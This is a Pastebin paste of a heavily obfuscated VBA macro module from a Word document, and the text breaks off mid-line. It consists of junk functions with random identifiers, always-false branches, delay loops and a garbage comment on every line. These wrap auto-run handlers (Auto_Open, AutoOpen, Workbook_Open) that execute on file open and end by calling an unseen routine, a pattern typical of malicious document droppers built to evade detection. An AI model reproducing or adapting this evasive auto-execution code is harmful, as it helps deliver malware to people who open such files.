Pastebin
API
tools
faq
paste
Login
Sign up
Please fix the following errors:
New Paste
Syntax Highlighting
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Public Function udSfgcxvyHuj53() As Integer Dim eiVoGZpnXWzx49, qRJmlmFPlrCD87, FZHscHkJlotl55, LxUPoSqHTfls63 As String Dim HzsyfFyjswPh81, hEUoBhjOeRuY68, oYoJqwnBvIHd34, hqlHbgAxnHnr62 As Integer HzsyfFyjswPh81 = 1495 eiVoGZpnXWzx49 = J hEUoBhjOeRuY68 = Asc(eiVoGZpnXWzx49) If HzsyfFyjswPh81 > hEUoBhjOeRuY68 Then For oYoJqwnBvIHd34 = 1 To 94 hqlHbgAxnHnr62 = hEUoBhjOeRuY68 + oYoJqwnBvIHd34 Next oYoJqwnBvIHd34 hqlHbgAxnHnr62 = hqlHbgAxnHnr62 + HzsyfFyjswPh81 qRJmlmFPlrCD87 = CStr(hqlHbgAxnHnr62) FZHscHkJlotl55 = Mid$(qRJmlmFPlrCD87, 1, 4) LxUPoSqHTfls63 = LxUPoSqHTfls63 & "57" udSfgcxvyHuj53 = CInt(Mid$(LxUPoSqHTfls63, 2, 6)) Else udSfgcxvyHuj53 = 94 + 1495 MsgBox ("IPjqEXqygUPN75") End Function Public Function bETZYueMGkOU84() As Integer Dim WmItFQyGHxPN65, qCvTgwsqdTDE99, gJheakrpvPax16, dcLbtlNPtKkn35 As String Dim NlvLmYIFnCLL13, TzJqzallktvc92, SYaokMmHldig16, gShDuklqBhtw66 As Integer NlvLmYIFnCLL13 = 6872 WmItFQyGHxPN65 = m TzJqzallktvc92 = Asc(WmItFQyGHxPN65) If NlvLmYIFnCLL13 > TzJqzallktvc92 Then For SYaokMmHldig16 = 1 To 77 gShDuklqBhtw66 = TzJqzallktvc92 + SYaokMmHldig16 Next SYaokMmHldig16 gShDuklqBhtw66 = gShDuklqBhtw66 + NlvLmYIFnCLL13 qCvTgwsqdTDE99 = CStr(gShDuklqBhtw66) gJheakrpvPax16 = Mid$(qCvTgwsqdTDE99, 1, 4) dcLbtlNPtKkn35 = dcLbtlNPtKkn35 & "28" bETZYueMGkOU84 = CInt(Mid$(dcLbtlNPtKkn35, 2, 6)) Else bETZYueMGkOU84 = 77 + 6872 MsgBox ("LWfqBDkhVpte29") End Function Public Function pUAIUwudHmNA87() As Integer Dim FTnbQKPlJbii56, RtiULzyUcIjV63, HyWlAHvLOSDr82, gUjxdkOsnWpm35 As String Dim WhOFWQwHkzFB35, hgzeFjMBVuEK63, RBojBzwIBfwC98, lYuqKddqqmlf17 As Integer WhOFWQwHkzFB35 = 8858 FTnbQKPlJbii56 = s hgzeFjMBVuEK63 = Asc(FTnbQKPlJbii56) If WhOFWQwHkzFB35 > hgzeFjMBVuEK63 Then For RBojBzwIBfwC98 = 1 To 69 lYuqKddqqmlf17 = hgzeFjMBVuEK63 + RBojBzwIBfwC98 Next RBojBzwIBfwC98 lYuqKddqqmlf17 = lYuqKddqqmlf17 + WhOFWQwHkzFB35 RtiULzyUcIjV63 = CStr(lYuqKddqqmlf17) HyWlAHvLOSDr82 = Mid$(RtiULzyUcIjV63, 1, 4) gUjxdkOsnWpm35 = gUjxdkOsnWpm35 & "52" pUAIUwudHmNA87 = CInt(Mid$(gUjxdkOsnWpm35, 2, 6)) Else pUAIUwudHmNA87 = 69 + 8858 MsgBox ("erjPkZuGFdhP49") End Function Public Function jfAligpEwlEQ12() As Integer Dim milJMqzZUbJR29, lFXfVdVzfYiI48, yPAUfnYuOQOa26, QlMBWMkQnLfT81 As String Dim KCrCqDloZaVx29, uUpqwvWKEiHn89, pPkmLwoylsLM64, ucsRIvnLTlBb84 As Integer KCrCqDloZaVx29 = 1658 milJMqzZUbJR29 = K uUpqwvWKEiHn89 = Asc(milJMqzZUbJR29) If KCrCqDloZaVx29 > uUpqwvWKEiHn89 Then For pPkmLwoylsLM64 = 1 To 34 ucsRIvnLTlBb84 = uUpqwvWKEiHn89 + pPkmLwoylsLM64 Next pPkmLwoylsLM64 ucsRIvnLTlBb84 = ucsRIvnLTlBb84 + KCrCqDloZaVx29 lFXfVdVzfYiI48 = CStr(ucsRIvnLTlBb84) yPAUfnYuOQOa26 = Mid$(lFXfVdVzfYiI48, 1, 4) QlMBWMkQnLfT81 = QlMBWMkQnLfT81 & "96" jfAligpEwlEQ12 = CInt(Mid$(QlMBWMkQnLfT81, 2, 6)) Else jfAligpEwlEQ12 = 34 + 1658 MsgBox ("zEwyXEIMmdQY76") End Function 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Sub Auto_Open() 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 584122 = 584122 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 3324 < 88 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim nEXDgRqy As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For nEXDgRqy = 0 To 1 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim yaGbefeX As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For yaGbefeX = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next yaGbefeX 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next nEXDgRqy 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim pEKfXpHy As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For pEKfXpHy = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next pEKfXpHy 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("XKOLakoD41") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("YKylDIdE6587") = Len("iwOTXuSp") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim DrRrkked As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For DrRrkked = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim PbYySYGu As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For PbYySYGu = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next PbYySYGu 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next DrRrkked 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim FzOMREZj As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For FzOMREZj = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next FzOMREZj 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim PvKzslCn As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For PvKzslCn = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim AEJhSGSz As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For AEJhSGSz = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next AEJhSGSz 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next PvKzslCn 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim pZXVzypE As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For pZXVzypE = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next pZXVzypE 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DRBDBIEYZQO 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End Sub 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Sub AutoOpen() 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 491375 = 491375 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 5554 < 73 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim nZessZMw As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For nZessZMw = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim xiupQNII As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For xiupQNII = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next xiupQNII 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next nZessZMw 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim lZmiTzEW As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For lZmiTzEW = 0 To 3 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next lZmiTzEW 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("pFgxYtFJ94") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("JrlwGcPp8727") = Len("ScJNIEVx") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim lbDxSOxW As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For lbDxSOxW = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim kIJlfaUb As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For kIJlfaUb = 0 To 8 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next kIJlfaUb 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next lbDxSOxW 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim iGQJZsCC As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For iGQJZsCC = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next iGQJZsCC 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim oYUMaMQl As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For oYUMaMQl = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim aEdFhhSv As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For aEdFhhSv = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next aEdFhhSv 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next oYUMaMQl 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim xiiyaMSg As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For xiiyaMSg = 0 To 9 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next xiiyaMSg 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Auto_Open 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End Sub 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Sub Workbook_Open() 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 958469 = 958469 + 1 Then End 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If 3274 < 97 Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim yCqTYMfr As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For yCqTYMfr = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim ecHvXpSn As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For ecHvXpSn = 0 To 5 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next ecHvXpSn 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next yCqTYMfr 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim pYZnrzgT As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For pYZnrzgT = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next pYZnrzgT 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("jZtqdVZB12") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó If Len("USYkfUKi4124") = Len("ojpTxykF") Then 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim PbSvEhlJ As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For PbSvEhlJ = 0 To 6 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim bFKhTOYG As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For bFKhTOYG = 0 To 4 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next bFKhTOYG 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next PbSvEhlJ 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Dim WkFUkdYT As Integer 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó For WkFUkdYT = 0 To 7 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó DoEvents 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó Next WkFUkdYT 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó MsgBox ("Error !!!") 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó End If 'ÈÒÐÎ 